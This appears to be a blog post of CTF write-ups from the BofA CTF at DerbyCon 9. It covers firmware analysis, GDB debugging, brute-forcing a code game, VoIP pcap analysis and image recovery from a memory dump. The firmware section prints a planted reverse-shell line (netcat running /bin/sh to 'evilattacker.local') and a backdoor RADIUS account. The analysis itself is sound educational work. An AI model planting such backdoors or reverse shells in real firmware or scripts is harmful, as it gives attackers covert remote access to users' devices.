BofA CTF Part 2 – Climbing the Scoreboard (DerbyCon 9)

Another week, and another batch of write-ups from the BofA CTF!

BofA CTF - Introduction

If you didn't see my last post, then I recommend you check out those solutions as well.

Like the first post, I'm waiting until the CTF during Technica is over before posting.

This will be the second set of solutions, but I've got one more post planned for the forensics challenges.

With all of that, let's jump right into a few more solutions!

Challenges

Hacked Firmware (30 points each)

After a break from my memory analysis, I moved onto the hacked firmware found here.

The challenges were as follows.

  • Someone altered this firmware - Find the flag and submit it.
  • We think there's a backdoor find the script. Identify and submit the domain.

First, I extracted the firmware using binwalk

root@kali:~/bofa/firmware# binwalk -e Firmware

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
8879          0x22AF          TRX firmware header, little endian, image size: 1679360 bytes, CRC32: 0x6AB92846, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0
8907          0x22CB          LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1661928 bytes
1688239       0x19C2AF        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 11436180 bytes, 1636 inodes, blocksize: 1048576 bytes, created: 2019-08-21 14:28:12
13312191      0xCB20BF        xz compressed data
13312777      0xCB2309        xz compressed data
13313927      0xCB2787        xz compressed data

At first glance, the authorize file looked suspicious, but this wasn't the actual backdoor.

root@kali:~/bofa/firmware/_Firmware.extracted# cat authorize
#
#     Configuration file for the rlm_files module.
#     Please see rlm_files(5) manpage for more information.
#

... < snip > ...

# #
# # Last default: shell on the local terminal server.
# #
# DEFAULT
#     Service-Type = Administrative-User

# On no match, the user is denied access.

hacker    Cleartext-Password := "toor"
#########################################################
# You should add test accounts to the TOP of this file! #
# See the example user "bob" above.                     #
#########################################################

I also found it funny that someone clearly looked at the Casino Royale VM using this box.

root@kali:~/bofa/firmware/_Firmware.extracted# cat /etc/hosts
127.0.0.1    localhost
127.0.1.1    kali
192.168.171.4   casino-royale.local

Next, to find the "flag", I used my grep and scrolling skills.

root@kali:~/bofa/firmware/_Firmware.extracted/squashfs-root# grep -rni "flag" . --color=auto
Binary file ./bin/busybox matches
Binary file ./lib/libc.so matches
Binary file ./lib/libnvram.so matches
Binary file ./lib/modules/4.4.187/ext4.ko matches
Binary file ./lib/modules/4.4.187/wl.ko matches
Binary file ./lib/modules/4.4.187/ftdi_sio.ko matches

... < snip > ...

./etc/www:1529:</script>

... < snip > ...

<p>{j}http://www.dd-wrt.com" target="_new">DD-WRT Homepage</a> - {j}http://www.dd-wrt.com/phpBB2/" target="_new">Forum</a> - {j}http://www.dd-wrt.com/wiki/" target="_new">Wiki</a> - {j}http://www.dd-wrt.com/bugtracker" target="_new">Flag: 3805d35c-2440-4e0a-8dac-52245b6232ed</a> - {j}http://svn.dd-wrt.com/" target="_new">Trac</a><br /><br /><% ifdef("MICRO", "<!--"); %><img src="images/valid-xhtml10.png" alt="Valid XHTML 1.0 Strict" /><% ifdef("MICRO", "-->"); %><% ifndef("MICRO", "<!--"); %><img src="http://www.w3.org/Icons/valid-xhtml10.png" alt="Valid XHTML 1.0 Strict" height="31" width="88" /><% ifndef("MICRO", "-->"); %></p></div></body></html>

To find the backdoor domain, I first tried to search every file for a common domain, but that didn't work.

root@kali:~/bofa/firmware/_Firmware.extracted# egrep -ro '[a-z0-9]*.(org|net|com|biz|edu|int|gov|mil)[:/]' ./ --color=auto | sed 's/[:/]//' | sort -u | grep -vi 'binary' | grep -vi 'freeradius'
.squashfs-root/etc/comgt/netmode.comgt:att.com/
.squashfs-root/etc/config/1sputnik.webhotspot:sputnik.com/
.squashfs-root/etc/config/3hotss.webhotspot:hotspotsystem.com/
.squashfs-root/etc/config/pptpd_client.ip-down:proc/net/
.squashfs-root/etc/config/pptpd_client.ip-up:proc/net/
.squashfs-root/etc/ethertypes:iana.org/
.squashfs-root/etc/hotplug2-common.rules:dev/net/
.squashfs-root/etc/ipkg.conf:linux.org/
.squashfs-root/etc/l7-protocols/protocols/qqlive2.pat:.com/
.squashfs-root/etc/l7-protocols/protocols/webmail_gmail.pat:google.com/
.squashfs-root/etc/l7-protocols/protocols/webmail_hinet.pat:.net/
.squashfs-root/etc/l7-protocols/protocols/webmail_hotmail.pat:.com/
.squashfs-root/etc/l7-protocols/protocols/webmail_yahoo.pat:.com/
.squashfs-root/etc/preinit:sys/net/
.squashfs-root/etc/protocols:iana.org/
.squashfs-root/etc/vpnc/vpnc-script:dev/net/
.squashfs-root/etc/vpnc/vpnc-script:misc/net/
.squashfs-root/etc/www:flagfox.net/
.squashfs-root/etc/www:passwordmeter.com/
.squashfs-root/etc/www:w3.org/
.squashfs-root/etc/www:wrt.com/
.squashfs-root/lib/modules/4.4.187/modules.builtin:drivers/net/
.squashfs-root/lib/modules/4.4.187/modules.builtin:kernel/net/
.squashfs-root/lib/modules/4.4.187/modules.order:drivers/net/
.squashfs-root/lib/modules/4.4.187/modules.order:ethernet/
.squashfs-root/lib/modules/4.4.187/modules.order:kernel/net/
.squashfs-root/usr/libexec/nocat/initialize.fw:sys/net/
.squashfs-root/usr/share/hwdata/usb.ids:e-com/
.squashfs-root/usr/share/hwdata/usb.ids:rint/
.squashfs-root/usr/share/hwdata/usb.ids:thernet/
.squashfs-root/usr/share/hwdata/usb.ids:usb.org/

Next, I decided to look at every shell script on the system.

root@kali:~/bofa/firmware/_Firmware.extracted# find . -name "*.sh"
./squashfs-root/lib/functions.sh
./squashfs-root/usr/bin/vtysh_init.sh
./squashfs-root/usr/libexec/nocat/call_splashd_check.sh
./squashfs-root/usr/libexec/nocat/test_arp.sh
./squashfs-root/usr/libexec/nocat/remote_settings.sh
./squashfs-root/usr/libexec/nocat/upgrade_check.sh
./squashfs-root/usr/libexec/nocat/check_splashd.sh
./squashfs-root/usr/libexec/nocat/traffic_input_count.sh
./squashfs-root/usr/libexec/nocat/traffic_output_count.sh
./squashfs-root/etc/hso/hso_connect.sh
./squashfs-root/etc/hso/connect.sh
./squashfs-root/etc/comgt/qmistatus.sh
./squashfs-root/etc/comgt/qmisierrastatusdetect.sh
./squashfs-root/etc/comgt/connect.sh
./squashfs-root/etc/comgt/sierrastatus.sh
./squashfs-root/etc/openvpnstate.sh
./squashfs-root/etc/lease_update.sh
./squashfs-root/etc/openvpnstatus.sh
./squashfs-root/etc/cidrroute.sh
./squashfs-root/etc/hotplug2-createmtd.sh
./squashfs-root/etc/wl_snmpd.sh
./squashfs-root/etc/config/proxywatchdog.sh
./squashfs-root/etc/config/schedulerb.sh
./squashfs-root/etc/config/pptpd_client.sh
./squashfs-root/etc/config/wdswatchdog.sh
./squashfs-root/etc/openvpnlog.sh

There were not that many, and I eventually found the backdoor in the openvpnstatus.sh file!

root@kali:~/bofa/firmware/_Firmware.extracted# cat ./squashfs-root/etc/openvpnstatus.sh
#!/bin/sh
if [ "$(nvram get openvpn_enable)" = "1" ]; then
PORT=`grep "^management " /tmp/openvpn/openvpn.conf | awk '{print $3}'`
if [ x${PORT} = x ]
then
	PORT=14
fi

... < snip > ...

fi
/usr/bin/nc -e /bin/sh  evilattacker.local 80

BofA CTF - Counting Bytes (10 points)

For the counting bytes challenge, I had to determine, "What is the return value of gb?"

I could have solved this challenge with reverse engineering, but I decided to just use GDB.

First, I ran and disassembled the functions to get a handle of what was happening.

root@kali:~/bofa# gdb -q Buffer_Size_GB
Reading symbols from Buffer_Size_GB...(no debugging symbols found)...done.
(gdb) r
Starting program: /root/bofa/Buffer_Size_GB
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
You need to supply one argument to this program.
[Inferior 1 (process 23942) exited with code 0377]
(gdb) r 12345
Starting program: /root/bofa/Buffer_Size_GB 12345
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff44c7700 (LWP 23947)]
[Thread 0x7ffff44c7700 (LWP 23947) exited]
Executed normally
[Inferior 1 (process 23946) exited normally]
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000555555554daf <+0>:    push   %rbp
   0x0000555555554db0 <+1>:    mov    %rsp,%rbp
   0x0000555555554db3 <+4>:    sub    $0x20,%rsp
   0x0000555555554db7 <+8>:    mov    %edi,-0x14(%rbp)
   0x0000555555554dba <+11>:    mov    %rsi,-0x20(%rbp)
   0x0000555555554dbe <+15>:    cmpl   $0x2,-0x14(%rbp)
   0x0000555555554dc2 <+19>:    je     0x555555554dd7 <main+40>
   0x0000555555554dc4 <+21>:    lea    0x135(%rip),%rdi        # 0x555555554f00
   0x0000555555554dcb <+28>:    callq  0x555555554a30 <puts@plt>
   0x0000555555554dd0 <+33>:    mov    $0xffffffff,%eax
   0x0000555555554dd5 <+38>:    jmp    0x555555554e10 <main+97>
   0x0000555555554dd7 <+40>:    mov    -0x20(%rbp),%rax
   0x0000555555554ddb <+44>:    add    $0x8,%rax
   0x0000555555554ddf <+48>:    mov    (%rax),%rax
   0x0000555555554de2 <+51>:    mov    %rax,%rdi
   0x0000555555554de5 <+54>:    callq  0x555555554d0a <_Z9function1Pc>
   0x0000555555554dea <+59>:    lea    0x140(%rip),%rdi        # 0x555555554f31
   0x0000555555554df1 <+66>:    callq  0x555555554a30 <puts@plt>
   0x0000555555554df6 <+71>:    movl   $0x2b,-0x4(%rbp)
   0x0000555555554dfd <+78>:    movl   $0x2be,-0x8(%rbp)
   0x0000555555554e04 <+85>:    movl   $0x191,-0xc(%rbp)
   0x0000555555554e0b <+92>:    mov    $0x0,%eax
   0x0000555555554e10 <+97>:    leaveq
   0x0000555555554e11 <+98>:    retq   
End of assembler dump.
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
   0x0000555555554daf <+0>:    push   rbp
   0x0000555555554db0 <+1>:    mov    rbp,rsp
   0x0000555555554db3 <+4>:    sub    rsp,0x20
   0x0000555555554db7 <+8>:    mov    DWORD PTR [rbp-0x14],edi
   0x0000555555554dba <+11>:    mov    QWORD PTR [rbp-0x20],rsi
   0x0000555555554dbe <+15>:    cmp    DWORD PTR [rbp-0x14],0x2
   0x0000555555554dc2 <+19>:    je     0x555555554dd7 <main+40>
   0x0000555555554dc4 <+21>:    lea    rdi,[rip+0x135]        # 0x555555554f00
   0x0000555555554dcb <+28>:    call   0x555555554a30 <puts@plt>
   0x0000555555554dd0 <+33>:    mov    eax,0xffffffff
   0x0000555555554dd5 <+38>:    jmp    0x555555554e10 <main+97>
   0x0000555555554dd7 <+40>:    mov    rax,QWORD PTR [rbp-0x20]
   0x0000555555554ddb <+44>:    add    rax,0x8
   0x0000555555554ddf <+48>:    mov    rax,QWORD PTR [rax]
   0x0000555555554de2 <+51>:    mov    rdi,rax
   0x0000555555554de5 <+54>:    call   0x555555554d0a <_Z9function1Pc>
   0x0000555555554dea <+59>:    lea    rdi,[rip+0x140]        # 0x555555554f31
   0x0000555555554df1 <+66>:    call   0x555555554a30 <puts@plt>
   0x0000555555554df6 <+71>:    mov    DWORD PTR [rbp-0x4],0x2b
   0x0000555555554dfd <+78>:    mov    DWORD PTR [rbp-0x8],0x2be
   0x0000555555554e04 <+85>:    mov    DWORD PTR [rbp-0xc],0x191
   0x0000555555554e0b <+92>:    mov    eax,0x0
   0x0000555555554e10 <+97>:    leave  
   0x0000555555554e11 <+98>:    ret    
End of assembler dump.
(gdb) disass gb
Dump of assembler code for function _Z2gbv:
   0x0000555555554cd6 <+0>:    push   rbp
   0x0000555555554cd7 <+1>:    mov    rbp,rsp
   0x0000555555554cda <+4>:    sub    rsp,0x10
   0x0000555555554cde <+8>:    mov    DWORD PTR [rbp-0x4],0x1c
   0x0000555555554ce5 <+15>:    call   0x555555554bdf <_Z4foobv>
   0x0000555555554cea <+20>:    mov    DWORD PTR [rbp-0x8],eax
   0x0000555555554ced <+23>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000555555554cf0 <+26>:    mov    edx,eax
   0x0000555555554cf2 <+28>:    shr    edx,0x1f
   0x0000555555554cf5 <+31>:    add    eax,edx
   0x0000555555554cf7 <+33>:    sar    eax,1
   0x0000555555554cf9 <+35>:    mov    DWORD PTR [rbp-0xc],eax
   0x0000555555554cfc <+38>:    mov    eax,DWORD PTR [rbp-0xc]
   0x0000555555554cff <+41>:    mov    edx,eax
   0x0000555555554d01 <+43>:    shr    edx,0x1f
   0x0000555555554d04 <+46>:    add    eax,edx
   0x0000555555554d06 <+48>:    sar    eax,1
   0x0000555555554d08 <+50>:    leave  
   0x0000555555554d09 <+51>:    ret    
End of assembler dump.

Next, I set a breakpoint at the beginning of the gb() method. When I tried to step through the program, I accidentally went too far and let it execute to completion.

(gdb) b* 0x0000555555554cd6
Breakpoint 1 at 0x555555554cd6
(gdb) r asdf
Starting program: /root/bofa/Buffer_Size_GB asdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555554cd6 in gb() ()
(gdb) i r
rax            0x7fffffffe110    140737488347408
rbx            0x7fffffffe110    140737488347408
rcx            0xa0    160
rdx            0x7fffffffe2a0    140737488347808
rsi            0x7fffffffe288    140737488347784
rdi            0x7fffffffe582    140737488348546
rbp            0x7fffffffe170    0x7fffffffe170
rsp            0x7fffffffe108    0x7fffffffe108
r8             0x7ffff79dfd80    140737347714432
r9             0x0    0
r10            0xfffffffffffff000    -4096
r11            0x555555778000    93824994476032
r12            0x555555554a90    93824992234128
r13            0x7fffffffe280    140737488347776
r14            0x0    0
r15            0x0    0
rip            0x555555554cd6    0x555555554cd6 <gb()>
eflags         0x202    [ IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0
(gdb) si
0x0000555555554cd7 in gb() ()
(gdb) c
Continuing.
[New Thread 0x7ffff44c7700 (LWP 23951)]
[Thread 0x7ffff44c7700 (LWP 23951) exited]
Executed normally
[Inferior 1 (process 23949) exited normally]

Next, I set a breakpoint at the 'sar eax,1' instruction, right before gb()'s return.

(gdb) b* 0x0000555555554d06
Breakpoint 2 at 0x555555554d06
(gdb) r
Starting program: /root/bofa/Buffer_Size_GB asdf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555554cd6 in gb() ()
(gdb) c
Continuing.
[New Thread 0x7ffff44c7700 (LWP 23953)]
[Thread 0x7ffff44c7700 (LWP 23953) exited]

Thread 1 "Buffer_Size_GB" hit Breakpoint 2, 0x0000555555554d06 in gb() ()
(gdb) si
0x0000555555554d08 in gb() ()

As you can see, the return value (RAX) right before the 'ret' instruction is 0x1d7 (471)!

(gdb) i r
rax            0x1d7    471
rbx            0x7fffffffe110    140737488347408
rcx            0x0    0
rdx            0x0    0
rsi            0xc    12
rdi            0x7fffffffe0a0    140737488347296
rbp            0x7fffffffe100    0x7fffffffe100
rsp            0x7fffffffe0f0    0x7fffffffe0f0
r8             0x0    0
r9             0x7fffffffdf70    140737488346992
r10            0xd45    3397
r11            0x7ffff7cb0230    140737350664752
r12            0x555555554a90    93824992234128
r13            0x7fffffffe280    140737488347776
r14            0x0    0
r15            0x0    0
rip            0x555555554d08    0x555555554d08 <gb()+50>
eflags         0x206    [ PF IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
gs             0x0    0

Crack the Code (20 point)

After the last challenge, I decided to continue with the binary theme and try Code_breaker.

First, I ran the executable, to figure out how it worked.

root@kali:~/bofa# ./Code_breaker
WELCOME TO Codebreaker 2.0! 

Guess the secret code its only 15 digits! 

                                     YOUR GUESSES: CORRECT: MISPLACED: 
======================================================================
Enter Code:

First, I tried to reverse engineer the binary, but that wasn't as simple as I had hoped.

Instead, I decided to play the game manually, with the old brute-force method!

Enter Code: 439959400000000

                         439959400000000              6              1
======================================================================
Enter Code: 439959500000000            

                         439959500000000              6              0
======================================================================
Enter Code: 439959600000000

                         439959600000000              6              1
======================================================================
Enter Code: 439959700000000

                         439959700000000              6              1
======================================================================
Enter Code: 439959800000000

                         439959800000000              6              1
======================================================================
Enter Code: 439959900000000

                         439959900000000              7              0
======================================================================
Enter Code:

In the end, I was able to get to the code/flag of '439959978478644' in 73 guesses, which wasn't too bad.

This challenge brings up a good point though. Don't be afraid to solve a challenge in any manner you can! There's no shame in playing a game manually/programming a solution/reverse engineering a binary, if you're able to get the flag.

Enter Code: 439959978478644
Congratulations, you guessed the code!
It only took you 73 guess(es)

Thanks for playing!

BofA CTF - Please Leave a Message (20 points)

Next up was the Get_Flag_Pcap.pcap challenge.

Based on the challenge description and title, I figured that this was a PCAP of VoIP traffic.

First, I went to Telephony -> VoIP calls.

BofA CTF - VoIP Calls

This brought up the VoIP window, with one 31 second stream.

BofA CTF - VoIP

When I hit "Play Streams", the RTP player opened with my call.

BofA CTF - RTP Player

After the answering machine message played, I heard the following message:

"Hello, the flag is: 051057614277"

I submitted my flag, earned my points, and moved on.

UnknownProcess (20 points)

Next on my list was UnknownProcess.

The only hint/description for this challenge was, "Picture this."

First, I kept trying to open the file in Volatility, but that was not working.

After remembering about an EverSec CTF challenge we once had, I decided to try a different approach.

Next, I went back to this blogpost and remembered that memory dumps could sometimes have images with sensitive information.

After a little some a lot of playing with sliders in GIMP, I was able to get to the following image.

BofA CTF - RDP image

At that point, I just needed to play with the width a bit more, and I got to the following image.

BofA CTF - RDP solved

It wasn't entirely clear, but after staring at the image a bit more, I figured out the flag.

PoweredByInsomnia

BofA CTF - Conclusion

This was only my second post for these challenges, and I've got one more coming up.

That said, that is just one of the larger challenges, so I'll wrap up most of the stuff now.

In the end, I got 335 points, and earned my challenge coin! For a picture of it, stay tuned for part 3.

Let me know if you solved any challenges that I didn't or solved these in a different manner.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Common passed on this blog, I made it to a jam.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.